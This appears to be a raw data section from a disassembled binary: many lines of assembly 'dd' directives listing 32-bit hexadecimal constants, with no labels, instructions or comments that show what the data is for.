		dd 0FB05698Dh, 9AEC37F5h, 0DE8EE7CCh, 9E4CAE5Dh, 0EBD5F873h
		dd 4CFA02B3h, 35772B2Bh, 75FD5969h, 0A5CA7A4Eh,	257002B1h
		dd 757AFDB5h, 4B81A0Ch,	0CDAF2F76h, 0C9E4F2Ah, 1FB2E684h
		dd 33C6FC99h, 0BE73D584h, 0F4866A58h, 53FD860h,	0B361C372h
		dd 3166E6E5h, 68FC8E3Fh, 0F2BE1CDAh, 5AE87C34h,	34F2BD9Ch
		dd 3A9C4BFCh, 2D5FFE86h, 0B9EB8A30h, 0B9C3AA42h, 0B5D66B4Eh
		dd 19D2h, 0BDBAFA92h, 4B487A17h, 0D9D60CA5h, 66639533h
		dd 0EDEA26C0h, 6E0872B2h, 0F38F3532h, 831EC4C1h, 0FAE5451h
		dd 0F68AE0DDh, 0F7C28E68h, 79970AF5h, 0D0629433h, 1548AE3Ch
		dd 0A758FCA4h, 982A9045h, 0D0F554BEh, 0A3B3B442h, 0EA33E4FCh
		dd 4EFD6D16h, 0EBF2EBCh, 11A5F27Fh, 1107EF7Dh, 0E091F5FBh
		dd 0FB10A254h, 0EB4DFEF5h, 11C3C071h, 8E5E03C6h, 264D3C7h
		dd 5072B230h, 65F82AC9h, 0E77507B6h, 0EBD5E12Ah, 97454DFEh
		dd 587F790Dh, 7D0FE1E1h, 0D626B6EFh, 62008855h,	8AEC9B2Eh
		dd 3ACC5F10h, 4EE113B2h, 0DB53D9Fh, 0D5C351E3h,	8F587D5Ch
		dd 2BC44CDEh, 55B766F9h, 487A19A1h, 0D406A54Bh,	0A0488D5Dh
		dd 0C6E77C15h, 1906h, 918EC65Eh, 1F1C4EEBh, 0A5A2E079h
		dd 322F61FFh, 0C1BEF28Ch, 42DC9E86h, 0CF6B110Eh, 5FFAA09Dh
		dd 0E3822825h, 0CA5EB4B1h, 0F7C1BA3Ch, 5573E6F5h, 0CF629433h
		dd 5975969h, 7F307677h,	646112F2h, 26AE4A94h, 68F0528Ah
		dd 7604965Ah, 0EBD5F99Bh, 4B2BA6Bh, 0FBD991C8h,	9224CCF6h
		dd 3C8FA104h, 39CC7DF5h, 6F01EFD3h, 93C7B7E1h, 1EB061F6h
		dd 67C9FB96h, 5A8C2BB3h, 0E618B75Dh, 4A23A96Fh,	0CEEF8474h
		dd 187Eh, 19164EE6h, 0A7A4D673h, 2D2A6801h, 0BAB7E987h
		dd 49467A14h, 0CA64160Eh, 57F39996h, 0E7822825h, 6B0AB0ADh
		dd 52E63C39h, 0F7C232C4h, 0DDFB6EF5h, 0CF629433h, 5975969h
		dd 1613E371h, 0DC8DFCA4h, 2688BC56h, 24C5E472h,	49D1F27Fh
		dd 0CF01A0ADh, 2FDE8D20h, 0B3716232h, 0C14FE10Fh, 0EBD61050h
		dd 0AEB756DEh, 9F32E113h, 80148EF0h, 0A40F04F2h, 34E394FCh
		dd 6837E2Ch, 6D55415Fh,	4263F183h, 5E5EB624h, 0EB41AADh
		dd 0D6C250E2h, 825D1D5Ah, 18B73FD1h, 0A443E9E6h, 5647FB72h
		dd 71061AC0h, 17D950h, 0C1F38B00h, 4B811EC4h, 0D50FA84Eh
		dd 609432D8h, 0F123BD63h, 0F6BB9F4h, 983E3B75h,	25CBC8FCh
		dd 0B55B588Ah, 91E7E416h, 0C0876FFDh, 9E11F5F7h, 9F2780h
		dd 2A8C3BCEh, 1EB1E382h, 54E60AB8h, 70589DC6h, 5874BFF2h
		dd 2BFB71ACh, 550680E2h, 6A9C3BC3h, 0DD68DD8h, 0D0A387BBh
		dd 0A6EF972Ch, 9936D3BEh, 7221D063h, 0F43FF110h, 0DE9F6072h
		dd 2DDB3DA8h, 0F5F74E39h, 6B689A39h, 0F7F426C5h, 0D9F5171h
		dd 0C38EE47Fh, 266DB8EBh, 0F7F6BE4h, 27BAEC8Bh,	881AC978h
		dd 34316300h, 29BBF18Eh, 68CA08A1h, 5C8E2DB3h, 8E127E5h
		dd 3051E689h, 1726h, 716EA63Eh,	0FFFC2ECBh, 8582C059h
		dd 120F41DFh, 0A19ED26Ch, 22BCBE66h, 0AF4BF1EEh, 3FDA807Dh
		dd 0C3620805h, 0AA3E9491h, 0F7BFDA1Ch, 3553C6F5h, 0DAA6F53h
		dd 0E69544D7h, 4C75C054h
		dd 0D04081C6h, 2FC755E7h, 69FCA3DDh, 0BBA856B8h, 0A5F2701Eh
		dd 0DF6D821Dh, 0F5F7A217h, 8E21D081h, 88376908h, 69FBAC26h
		dd 7E1042E1h, 578D5DF6h, 7835A445h, 6685E796h, 7D0FF3E0h
		dd 0F74503EFh, 41D485F5h, 0F7440CB5h, 5D8F2EF5h, 73A544CAh
		dd 0BC084BE0h, 44B01332h, 0C326C86h, 4829A0h, 53E90000h
		dd 62F08280h, 0FCA41598h, 0E2EB8810h, 0C95C0B49h, 46D86B1Ah
		dd 3CDF6FBh, 0AE100479h, 0A409C200h, 307CDFFCh,	0B8F7A052h
		dd 7A19A1A6h, 1386E648h, 46000000h, 0A415942Dh,	0F4FCC6FCh
		dd 1E09D462h, 0B465F27Fh, 9F2779B7h, 4E0E3703h,	68A2C143h
		dd 0F3CF57B9h, 0F8DD6BFDh, 0EEF27E30h, 497CD66h, 17AAE27Eh
		dd 0DD57B968h, 7413992Ch, 9F4542h, 96295BF7h, 1FA538E7h
		dd 32B84B85h, 46CC5F95h, 92E174A8h, 2A79E54Fh, 9B3A9DE7h
		dd 2FFEF886h, 0D260F5FAh, 0F5FA3024h, 0BA6BC374h, 0D45C0E0Bh
		dd 2A73063Ah, 0D003CD36h, 0A204B3A0h, 96295BFAh, 0CC5E9230h
		dd 0BC89ED38h, 0F0083BB6h, 0BF65E08Eh, 0B1EBD5h, 8CBE5D03h
		dd 0CAD372FAh, 0B766F92Bh, 65F1A608h, 64ED6A2Eh, 0F744B0F3h
		dd 2321D563h, 0CE7F846Dh, 0F325C46Ch, 7FB150F6h, 94C866ECh
		dd 7136B702h, 0F946125Bh, 78DBE297h, 0FA2CCB0Ch, 86B857FDh
		dd 0BB358DF3h, 0CD07A129h, 75298B3Ah, 86BC59E1h, 34E244F3h
		dd 7A4891F1h, 18E8850Dh, 0CA9A6277h, 0EF82319Eh, 0EE949140h
		dd 48A1D4Fh, 8CBE5D68h,	88376D06h, 0B8D16EF6h, 422CC2Ah
		dd 6C1BCC7Eh, 0A982AD9h, 7E0422ECh, 0E499FBACh,	0FD90C45Eh
		dd 15A8DA77h, 0AD3983C6h, 62D11B5Eh, 86E78917h,	8EF0341Bh
		dd 181547E6h, 0FA1D372h, 20B3ED87h, 31C4009Ah, 0BC71D382h
		dd 13A16C56h, 7E0494E3h, 0CB5D0CBDh, 0DFAC283Dh, 0CAC77873h
		dd 0C0538524h, 6D7A8E34h, 5EA60954h, 2B285AF9h,	57982E79h
		dd 2C605DE5h, 4D8722CAh, 5D9927BBh, 3B946D69h, 0ED73288Ah
		dd 76AE4A53h, 0F28534E3h, 6DD21A5Dh, 0FDA3A0D2h, 179D3062h
		dd 65B44779h, 0DA75DA22h, 0AEF9ABA8h, 6B01853Ch, 8B01287h
		dd 3AA0336Dh, 42D66888h, 6D3442B4h, 4BAD5E94h, 0E16F0397h
		dd 946D3515h, 353BBB49h, 0B465946Dh, 9B49AB5Ch,	8A483D3Ah
		dd 1B22B566h, 0B4FF4CB8h, 0AE37761Ah, 5DEB7D72h, 8E043799h
		dd 4CF45607h, 0DC827FB1h, 5A0283Dh, 37B73FCBh, 30E18E04h
		dd 0C968EE81h, 2C6F0497h, 51DF73C0h, 8E0437A5h,	38E042F3h
		dd 476A6799h, 381921ABh, 31EAh,	9833AA00h, 0B14CD466h
		dd 0D6681D7Fh, 0E87BB14Eh, 734FD739h, 0CF57EB7Dh, 0BD6CFF31h
		dd 12B4AD5Bh, 69B4F27Fh, 25355208h, 5855049Fh, 1917h, 9833D900h
		dd 0F4E48DCCh, 39E83E03h, 6E8240A6h, 386B4EDCh,	8A3BF27Fh
		dd 93274F8Dh, 0A415F105h, 9CFEAFFCh, 0A4EF09CAh, 6801DDF3h
		dd 9FE8972Ah, 96F82111h, 0AA3CB40Eh, 7F18F51Ch,	788031F2h
		dd 0C0032CCAh, 0A9645ED9h, 8A0CDB1Bh, 6514C50Ah, 0B6045D3h
		dd 8F400065h, 0EBBAB2FDh, 0DB3750D7h, 0AA32C479h, 0EB73D50Fh
		dd 0F38719D7h, 2CBACF6Bh, 7F101CAh, 147625D6h, 0CC373266h
		dd 0AB3DEEFDh, 0BCF68F17h, 0E113B25Ah, 1A58044Fh, 0D63C4F91h
		dd 1BA35574h, 32B84B7Dh, 1FCE6193h, 0C7660E70h,	0B2941E95h
		dd 80157B12h, 13595Fh, 41730B00h, 0CB019E44h, 558F28CEh
		dd 0E014B258h, 71A33DE3h, 8FEB3974h, 18BEBBF5h,	0A54B487Ch
		dd 35DBD80Ah, 11676496h, 0BD07EF7Dh, 1E91F5F7h,	16C92D00h
		dd 99DFCA4h, 0A4147B7Bh, 29D25FCh, 37BF21D0h, 2F4828Bh
		dd 9EFCA415h, 1EAC3EEDh, 0F27F101Fh, 225CF77Fh,	0C15AE08Fh
		dd 9241F083h, 0CEDF7800h, 0BD50FF35h, 64F8AC0Eh, 7A0D3FDCh
		dd 26C169CBh, 0AE49EFECh, 0BC5BE174h, 9CBD138Ah, 6B008FA1h
		dd 12D14Ah, 0C9FB9300h,	538926CCh, 0DD17B056h, 689C3AE0h
		dd 0F92BC56Bh, 1763C1FCh, 0A046437Dh, 2DD3D004h, 0BD636092h
		dd 99EFEC1Eh, 0BB7F7705h, 0A619F5F7h, 816F5388h, 10DC61EFh
		dd 7A02F27Fh, 0FE32CCE1h, 7A0DBC6Bh, 3EEF69CBh,	6C8A18ACh
		dd 2CF5FB0Fh, 0D165197Bh, 0DB1BA93Dh, 0C5F5FB0Fh, 0F6E8814h
		dd 792AF5FBh, 0A0D26F17h, 2A60FDA3h, 0A6721197h, 2E6B7126h
		dd 0B346F527h, 9CE349ACh, 1ED0CDFFh, 66C8FC96h,	0F1D05494h
		dd 0B04DF5FDh, 665BE77Ah, 21F5FAADh, 9D2596DEh,	2759F401h
		dd 0D16E1678h, 5BF89E9Bh, 92309629h, 53ECC5Eh, 51EBC6F0h
		dd 0E7860EA0h, 7312B8B5h, 7A48AE41h, 7C56E476h,	0CCF26B35h
		dd 6201891Bh, 1D539E30h, 77066AC6h, 9A4C6BCDh, 0D92DB84Fh
		dd 0D739F252h, 0CC5E902Fh, 0E073A544h, 881ACF31h, 0BE4C6100h
		dd 0F5FAB838h, 7508B768h, 0E6DC64C6h, 23EA780Ah, 0E3EBD5C6h
		dd 0D4EFBB32h, 99E8908h, 11C5E8h, 0CD079F00h, 578D2AD0h
		dd 0E91BB45Ah, 74A846ECh, 0FD37D177h, 1B5FC500h, 0AC524F81h
		dd 39DFDC10h, 0C167649Eh, 9DF3F022h, 0BA7B7B09h, 0B225F5F7h
		dd 19F2794h, 2EBF6DCFh,	3CFCA416h, 0EC726FA1h, 0F4881AD6h
		dd 3FA1D36Ch, 705A3991h, 4CDE8FF2h, 0C9DC6DB8h,	0EC941521h
		dd 0F7189660h, 0EF5102F5h, 811FA73Bh, 0AC45ED4Fh, 1DCC069Fh
		dd 8D69F78Bh, 0BF5F718h, 9BD9F85Ah, 391B3CB6h, 1A75999h
		dd 27190000h, 45CB059Fh, 881072A8h, 0D6041937h,	0E96B4251h
		dd 99271C3Ah, 0FCA41528h, 0B644D86Ch, 0FCA41540h, 0D323AF60h
		dd 0CDFCA415h, 274F6D1Ch, 8571FF93h, 13FCA415h,	0C40DC62h
		dd 0F766AAAh, 7C6A5334h, 5ED69FEAh, 418AC25Eh, 5DBF5068h
		dd 49F271Dh, 159D59E7h,	4AFBFCA4h, 0E682089Bh, 0BD6C1BAEh
		dd 536E8C5Bh, 0B162806Eh, 1B4CB671h, 52699BB9h,	0B5000000h
		dd 0C95C8E2Dh, 2778B81Ah, 6CCE009Fh, 7B0DD9E4h,	0CC8B8530h
		dd 9DFF981Ch, 69F275Dh,	19B339CCh, 22D638E7h, 0A4152D94h
		dd 17A539FCh, 0FCA415DFh, 5E9431B9h, 27E200AFh,	3BCE009Fh
		dd 326A068Ch, 0DA8EF09Fh, 689A33BAh, 98EA084Ah,	64h, 7C6A535Ah
		dd 2899275Eh, 6FCA415h,	98CBCFBBh, 7CDE5C4Dh, 63EB7D2Eh
		dd 520194C6h, 9F27B0F0h, 0BA6ED002h, 919A339Ah,	8012C1F3h
		dd 0B64459F8h, 0FCA41540h, 6D00AF60h, 15A94DDBh, 46F7FCA4h
		dd 0BBC34E97h, 4C0DCFCEh, 9F27AAEAh, 8E3DD002h,	7CC7592Ch
		dd 0B947CC49h, 0FCA3DC3Dh, 0CA61AA5Bh, 0FF3FA1E9h, 0CB059F27h
		dd 2278938h, 9BB91C00h,	38B5h, 9F277500h, 8C3BCE00h, 0CF1FA22Ah
		dd 289927B1h, 40FCA415h, 727718Fh, 0D2649633h, 0E679AB4Ah
		dd 895D537h, 29F27EAh, 2B2B6ED0h, 79000000h, 67971A2Eh
		dd 0AF11EB3Ah, 806E536Fh, 18DC2762h, 538524CFh,	0F74E300Ah
		dd 6E53E195h, 26FCA3D2h, 7275775h, 46649633h, 9327EA08h
		dd 0A415F105h, 78FEAFFCh, 0FD40A2DEh, 0FFFFFE50h, 816F53BFh
		dd 580261EFh, 0E96F270h, 0FFAE4173h, 9736BE50h,	10BFF58Eh
		dd 54B8337Eh, 2FC2F694h, 0F57F3780h, 0A32948AAh, 0B240D230h
		dd 0F5F80344h, 8410A354h, 0F5F80374h, 982B6902h, 0AE417312h
		dd 46D01C5Fh, 9A78C427h, 0A00CF158h, 213Dh, 952DFD00h
		dd 0A5FCA415h, 2BD7D406h, 0FCA41596h, 60F2FEC4h, 7F34EBD2h
		dd 9D9A4BF2h, 0D05Ch, 9F271E00h, 0F53ED103h, 4FA3EB6Eh
		dd 0A103B293h, 0B547A919h, 0C7FD9921h, 284EB765h, 0F9AAF27Eh
		dd 3344DF67h, 24D36698h, 3EC67875h, 29D86BA1h, 4A841FC7h
		dd 7F7151B7h, 69DC5FEDh, 7E06EBC6h, 0CF49ABE1h
		dd 7249AD3Bh, 0A657FC9Eh, 42DD65F7h, 0D9611310h, 0C574073Dh
		dd 0EE20BB63h, 0A735C95Bh, 0FC9E724Fh, 0AE369849h, 0B64ADC14h
		dd 0CD60942Eh, 0C9FB981Eh, 0AD1AB967h, 337EF26Ah, 8B24B928h
		dd 0CE17C659h, 19C8D763h, 2E60FF87h, 0E3EC8B31h, 0D3821547h
		dd 9F27AD24h, 0F1868FA1h, 0E8DD0h, 53FD700h, 8FC56208h
		dd 2153EC92h, 0ACE07E24h, 356F09AFh, 5327FD38h,	0E48A87B9h
		dd 71171448h, 0F99F9CD6h, 0D52B285Ah, 0B743B341h, 0EA5DF5F7h
		dd 629433CCh, 29D485D0h, 730C8C19h, 37D65C11h, 9ADD7205h
		dd 1C4EED52h, 8FF6FC1Fh, 399FA6B8h, 5F000000h, 0EF816F53h
		dd 7F144461h, 0F8921AF2h, 187A29BCh, 0E4F4539Eh, 9DDD3E9Dh
		dd 36D55BEEh, 0C2610704h, 2B97FD90h, 549F33C5h,	3A28A661h
		dd 812F9146h, 0EBD5F384h, 0E82623D4h, 0D2649633h, 1546B03Eh
		dd 0CA52FCA4h, 0E547F62Eh, 518320C6h, 15B932BEh, 14AFFCA4h
		dd 22C048DAh, 15797D0Bh, 7627FCA4h, 6FA541C7h, 0ACCB2DDCh
		dd 0C2549C26h, 705AC134h, 7D1BA3F2h, 0BE6FE94Bh, 0D206A42Ch
		dd 7A2E903Fh, 1E1B59F2h, 1B3CB6E0h, 7D059939h, 0D11AADDFh
		dd 19F20F95h, 0BD1FCED1h, 1525Dh, 6C531D00h, 9327607Eh
		dd 0CC5A6F0Bh, 0FCA4162Ah, 8316C576h, 0FDC472D4h, 95FCA415h
		dd 30BE52E4h, 0FCA415C6h, 7FBF21D2h, 0F760727h,	0E4AA75C0h
		dd 790138E7h, 561994CCh, 0AC0EBD84h, 7C6A536Ch,	53EE0C5Eh
		dd 0B162806Eh, 1B4CB671h, 34699BB9h, 29000000h,	0B996A53h
		dd 0FCA415EBh, 375504B5h, 15289927h, 8F40FCA4h,	9F2771h
		dd 2A8C3BCEh, 2197E276h, 0C7696E5Dh, 338CCC2Eh,	84A689Ah
		dd 2598EAh, 535A0000h, 275E7C6Ah, 15F10593h, 0FEAFFCA4h
		dd 675AE89Ch, 2BFCA415h, 93275C7Ah, 0DB3D6F0Bh,	689A339Bh
		dd 27EA084Ah, 6DCF019Fh, 0B91BBA48h, 49FB9Bh, 27BB0000h
		dd 0F6EDABDCh, 0A305F026h, 2A48A61Bh, 15289927h, 0B840FCA4h
		dd 0D56E91Bh, 8541163Ch, 3EED9C5Eh, 27072720h, 15F10593h
		dd 0FBBEFCA4h, 67D686FCh, 6E125DB5h, 8CB99BD7h,	670F7120h
		dd 87A98CAh, 4B98EAh, 535A0000h, 2762806Eh, 0A4152899h
		dd 29BB6CFCh, 3ECFF3DEh, 5C486645h, 0CF0915E2h,	4F8FF1A0h
		dd 0F5069F27h, 2E77265Ch, 0D1DA53B7h, 0A054B66Bh, 69F2780h
		dd 288A39CCh, 93B1E380h, 0CE009F27h, 6CFA8C3Bh,	0FCA4158Ah
		dd 30036516h, 0FE979812h, 535AFFFFh, 61EF816Fh,	0F2705802h
		dd 0CB53E596h, 77FDFA2Ch, 8614A65Ch, 0F5F7C870h, 0A2ED7F30h
		dd 9B3797B9h, 0DE27D669h, 5F7AFB37h, 0ECF5AA15h, 14C92BDAh
		dd 0F77B7088h, 0BA0265F5h, 0C691AD8h, 277BA0h, 273B0000h
		dd 0D61D8BDCh, 8EB465D9h, 3D0C556Fh, 0AB844463h, 0FB8D1C0Dh
		dd 863CEA4Ch, 0B4FCA31Bh, 0A5E6E315h, 0D5h, 0AA6F5367h
		dd 9241D410h, 76C351E3h, 0E8F27F28h, 0FA8DC760h, 0BE6FE94Bh
		dd 0F409A42Ch, 0FAF89066h, 0B05F10F5h, 0C7FD961Eh, 4238534h
		dd 0FE91C35Eh, 194BE46Ch, 0ED75D786h, 0FB891BD5h, 0EBC73B44h
		dd 0D55DEFA0h, 6092313Ah, 726F1ECDh, 6CFF31CCh,	0A234BC06h
		dd 6B00BF14h, 1696E1F2h, 0E874FB8Dh, 0FFF78517h, 99F5FA7Fh
		dd 5B0C86E8h, 932C7EC9h, 0B7A07031h, 7A19A155h,	932EB648h
		dd 2906F07Eh, 0E192F5FAh, 8EF09F32h, 9835BD6Fh,	2905F17Fh
		dd 0E293F5FAh, 8A29D133h, 76F1E158h, 1BB08FA1h,	0B3DFAh
		dd 558F2700h, 0DF15B258h, 71A33CE2h, 0FC30CE74h, 85BF59FFh
		dd 0A3D74D88h, 34DAD709h, 0C1676498h, 49EFEC26h, 257B78AAh
		dd 0B4F30391h, 3AADF5F7h, 6294331Ch, 48AE3CD0h,	58FCA415h
		dd 0A9045A7h, 20A6396Bh, 37BD5084h, 84D36698h, 0F994FB41h
		dd 0D68534C7h, 51B6FE41h, 66EE80B2h, 560598CCh,	40B2D5F4h
		dd 55A6B903h, 3Fh, 816F5315h, 308061EFh, 60E8F27Fh, 4BFA8DC7h
		dd 0E483099Ch, 700FB5B2h, 7D45AB3Eh, 0BB59E173h, 48DB19B2h
		dd 0A857EA99h, 35049246h, 0E1EBD601h, 79739496h, 3FEE9D07h
		dd 6C089042h, 2796D638h, 15F10593h, 0FEAFFCA4h,	2557F49Ch
		dd 51EE7628h, 0E63F881Bh, 0B9BDAB4Dh, 55EF7524h, 77D9881Bh
		dd 0A34624C9h, 8962AFCh, 0FCA345EEh, 4B8922AAh,	0F85A09B8h
		dd 7E7BB550h, 9426CAF8h, 6F8AEC06h, 9834BCF2h, 7322D164h
		dd 82C059E1h, 97C968F0h, 0B6D81635h, 99391B3Ch,	19759h
		dd 841DA500h, 0AA0CBB4Eh, 9B6C536Ah, 157D7907h,	6A1BFCA4h
		dd 0A41618DEh, 28D788FCh, 3A720E96h, 5696F8A7h,	15289927h
		dd 0BB6CFCA4h, 7607279Dh, 6A53340Fh, 9F275E7Ch,	8837CA04h
		dd 53395726h, 0E70F9D6Eh, 0B1FCA415h, 0B1335100h, 0A3DC2771h
		dd 0DE92EE0Dh, 30D2F759h, 859BB871h, 3Eh, 7C6A5345h, 0FF93275Eh
		dd 14A7D977h, 161DD965h, 0CA7BFCA4h, 1507BA68h,	0AE5FFCA4h
		dd 0FCFA881Ch, 9CFCA415h, 274989EBh, 82B537DCh,	88EA4015h
		dd 9A33B4D4h, 0EA084A68h, 5598h, 93275A00h, 0A415F105h
		dd 9CFEAFFCh, 0CA66A914h, 27C5E392h, 0A4152899h, 0B0BB06FCh
		dd 0B1E37C20h, 0ACA7DF68h, 9AB1FC4Ah, 1422B7F5h, 0C95C9832h
		dd 2ABC6B1Ah, 3BCE06A2h, 27EA2A8Ch, 689A3307h, 0BDC274Ah
		dd 0CBBC56DAh, 184AE56Bh, 0A174D685h, 0B8EA870Fh, 4CB61656h
		dd 699BB91Bh, 52h, 0FC9921B5h, 0F88433C6h, 0F9A415FEh
		dd 3F75129Ah, 0C84EFDACh, 5191F32Dh, 0EE806E53h, 0FB39D25Ah
		dd 0C92DB968h, 0D7FCA415h, 2784C426h, 0A4152899h, 718F40FCh
		dd 96330727h, 0EA084664h, 4098h, 1D9BE600h, 0D9766A6Dh
		dd 5CE3C5C3h, 0DFEC4C13h, 6E533D7Dh, 0CD66EE80h, 0F3550497h
		dd 289927B3h, 6CFCA415h, 7279DBBh, 46649633h, 0CF019F27h
		dd 69078D3Ch, 93F5A437h, 0DA62EC0h, 339544D7h, 59F27F3h
		dd 14B238CBh, 0EF9E4DE0h, 0FE694A8Dh, 4D98FFFFh, 69114A6Ch
		dd 9EDE40A8h, 0D1039F27h, 0CDFCF53Eh, 0ADA9311h, 5171F95Bh
		dd 0E5790D9Fh, 0A3DF9F57h, 0C248F9FCh, 0AB5AED27h, 21C89B49h
		dd 4F9AF270h, 2D35934Ch, 209AFCA0h, 0B655DD6Fh,	0D2018784h
		dd 0E6109E30h, 0B2F5F724h, 16E26E01h, 0BBF5F725h, 0C42EEC58h
		dd 0D1A00C12h, 1Dh, 15952D91h, 6A5FCA4h, 0C596D7D4h, 0E4000000h
		dd 19A7BE5Ch, 0FCA415DDh, 0F95B0ABBh, 816F53B9h, 38D35BEFh
		dd 62C47306h, 7F1821B4h, 3ACC7DF2h, 4BDD17B2h, 7CD29B7h
		dd 1ACBF5FBh, 58F399B8h, 952D9326h, 0A135C95Bh,	0FB07E313h
		dd 9A35BDF5h, 0A957B968h, 0EBC749CAh, 38B1DCEh,	93393668h
		dd 0CD33C6F8h, 0DB69FBF5h, 0F26B0DF8h, 8CC862EAh, 2AB84AF9h
		dd 0F5FB10CCh, 3FB91BCCh, 0D574FC8Eh, 0CC611A3h, 7FC68133h
		dd 2ADCFB5Dh, 43EE0896h, 0F9AAF5FAh, 1E50EF97h,	0A14921A7h
		dd 0B6D76C8Fh, 7A6h, 0F1EE26BEh, 7F7CAE4Bh, 50240D9h, 928FC15Fh
		dd 211E52ECh, 0A23C3EE6h, 2FCB716Eh, 0BF5A00FDh, 43E28885h
		dd 2ABE1411h, 0F7B05A9Ch, 0B5D346F5h, 0CF629433h, 0E678AA49h
		dd 0FA8DBF5Eh, 9F34E94Bh, 10AF105Ch, 9B2FE1DEh,	0A415E90Dh
		dd 0A406B7FCh, 0B8FF737Fh, 4822A6h, 27E20000h, 39CC069Fh
		dd 22A0288Ah, 43F13CCEh, 0BE6480C4h, 0F7AF4AADh, 83329F77h
		dd 72DF6D21h, 0B6F27E50h, 0DCE67205h, 0C5F5FA4Eh, 5EA91A62h
		dd 4BE946DBh, 8ED78619h, 51EEE1E6h, 0E50A6C1Bh,	0A00FF10Dh
		dd 3188h, 6F534800h, 4C61EF81h,	4CF27F17h, 66F92BC4h, 0EF7508B7h
		dd 48C1E50h, 0F5A43769h
		dd 389AD46Fh, 0A2D47319h, 0D719A90Fh, 181EB745h, 0C97AEBD6h
		dd 9F278ECCh, 986ACC06h, 81D5ED37h, 241C74CFh, 0C658077Ch
		dd 7E3BD938h, 0EA7C2DF2h, 468FC562h, 9892BADFh,	83AD0F5Eh
		dd 809A42D5h, 4599E435h, 537D524h, 0D75B34BCh, 1BD5ED75h
		dd 2D670189h, 0D589EB9Ah, 9F4E5E47h, 0DF78002Bh, 4EC234C2h
		dd 2DDE3C2Dh, 0DA3CEB7Eh, 0B61CAF60h, 8373010Ch, 1D3C2D4Eh
		dd 0A32BBD6Ch, 903FD204h, 0ACEC7A2Eh, 3E320884h, 1ADA1CAAh
		dd 0A3D535C4h, 0EF88E8F4h, 0F85A0B63h, 285CF67Eh, 0C05FE779h
		dd 4CEB918Eh, 5B521680h, 0E5837036h, 0BF942241h, 960DBC6Bh
		dd 4FD74A68h, 2B9BBC51h, 39000006h, 0C06663A1h,	4EF4F123h
		dd 0DC827FB5h, 670D0A3Eh, 5B9693CDh, 0DD17B1C9h, 669E3AE0h
		dd 0F628C369h, 82B453F9h, 0D9B2F85h, 0F5F7AEE9h, 332644B7h
		dd 49CF6294h, 0EF7572B0h, 0FD8B1DD3h, 0F2705876h, 58DE7122h
		dd 0EE0E85BFh, 0BF8FA4D6h, 5D8092Ah, 0F48C0000h, 801DC3C0h
		dd 0EA74D4Ah, 9331D7D4h, 24BE6461h, 6CB8F3F0h, 4340740Eh
		dd 0CECB019Dh, 56538D28h, 0E2DF11B0h, 8C6AF88Ch, 0CF5F7AEh
		dd 6F537B99h, 5D3D0DAAh, 0F6BC22BBh, 32E17423h,	0DC63F183h
		dd 38F27043h, 0D56EF487h, 0AAF32DC8h, 30CAE57Fh, 0D148F730h
		dd 8FA4C6B9h, 77C2E378h, 0ED000005h, 7C221F55h,	0AB0ADDFh
		dd 90363371h, 1BC1BEF2h, 17524F81h, 0A1D36D0Dh,	2A62FEA4h
		dd 0B2EC872Dh, 3E700FB5h, 0C957EB41h, 0F5F7AF2Dh, 27DAF86Bh
		dd 3265E7DCh, 0E54761E0h, 0F98B655Dh, 7028D06Bh, 0E87B2CF2h
		dd 148BC962h, 8FA4F9CCh, 23FB1CB1h, 41000005h, 0C86E6BA9h
		dd 56FCF92Bh, 0E48A87BDh, 6F151246h, 639E9BD5h,	0E51FB9C1h
		dd 6EA642E8h, 0FE30CB71h, 8ABC5B01h, 15A3378Dh,	0F5F7ADE1h
		dd 272E4CBFh, 0D4FB8DDCh, 278921A2h, 1BAEE07Fh,	96E1F695h
		dd 0E1A2DC6Fh, 3CBA4629h, 5CFCA3C1h, 1A69FCABh,	8B2A6DD7h
		dd 22AA5C59h, 41E94B89h, 51DD70A2h, 0FCA3C170h,	2768D417h
		dd 0B3595688h, 0C94FE214h, 75FBF82Ah, 8311A34Dh, 0F27ED05Ah
		dd 66F28536h, 0F5FACE5Ch, 710B9345h, 0E91BB93Fh, 0F8DA2287h
		dd 0A00FBCFAh, 459Bh, 0DC275B00h, 0AB56CE0Bh, 961E80BBh
		dd 0A432C42Ch, 0F27E4DEDh, 0E113B139h, 5DF09F4Eh, 0FA54F1D1h
		dd 0E74DB0F5h, 0F3ECF23h, 792772A0h, 6124B61Dh,	0AC255F69h
		dd 0A251238Ah, 0F2A6A559h, 70D24B0Dh, 0BD10h, 9433D000h
		dd 28BBED8Bh, 0B137CA79h, 0B84ADD17h, 0CE029C24h, 0A415B442h
		dd 0D133E4FCh, 0C6588A29h, 1552A432h, 0C64EFCA4h, 0E749F82Ch
		dd 0DB0DAC32h, 138132DEh, 0D35BFCA4h, 0C06F0234h, 0E517B65Eh
		dd 71A342E8h, 0A64A78DEh, 0F738614h, 7223F27Fh,	1DD3EF75h
		dd 0BD36FD8Bh, 31E2EBC7h, 437D179Fh, 3006A046h,	2961F120h
		dd 0DA5100A3h, 890A77BCh, 0CFB7D86Dh, 95000003h, 24CAC7FDh
		dd 0B2585587h, 38DEDB19h, 0C369669Ah, 0BFFAF729h, 497B1565h
		dd 0D20AA64Ch, 5A942FD5h, 0E618B75Dh, 71FF93E9h, 0F5F7AC85h
		dd 3382A013h, 8AD56799h, 987A888Fh, 5DF97FB2h, 83E59427h
		dd 0ED1FBE64h, 9F27B2F0h, 1181CA04h, 76595EE3h,	6E54DC3Eh
		dd 0D6A49BE8h, 0A93B48ECh, 0A370DB1Bh, 6514C5FCh, 1C4488D3h
		dd 8756A04Dh, 0AEE37125h, 7AF27E61h, 69EC37C9h,	6A739081h
		dd 9521D638h, 0F5FA4E2Dh, 58AB1174h, 68FB35D0h,	0C03257B9h
		dd 0D5A00F38h, 0BAh, 0C8943395h, 20A2DEEFh, 0E6810775h
		dd 0E46AFDACh, 3984164Ah, 0E7814EB1h, 226B1AADh, 34A742EAh
		dd 67D5FDE8h, 0EEA305B4h, 0A33E5162h, 467817FCh, 0D204A349h
		dd 0F076F540h, 61AE7A9Bh, 0DEE44AFFh, 7F28012h,	65F27E31h
		dd 5E05131Ah, 4BAD38CEh, 712320D1h, 0CFA74FDDh,	40F1F5FAh
		dd 846C56DEh, 98CC6AF2h, 62F48236h, 0BEEBC77Eh,	59F37B0Dh
		dd 0EA842A27h, 6C053FB6h, 33C8890Ah, 2B512h, 0DD17AF00h
		dd 679D3AE0h, 0F92BC46Ah, 84B856FCh, 0D47E187h,	2B4FD510h
		dd 0BC625F91h, 49EFEC20h, 0D17774AEh, 0AD030032h, 0AB6B8B19h
		dd 0C235F5F7h, 679933A4h, 0F325C46Ah, 9433B8F6h, 28BBED8Bh
		dd 39CC08A2h, 992CDB8Ah, 0C7A87413h, 636B8AAEh,	67EF8130h
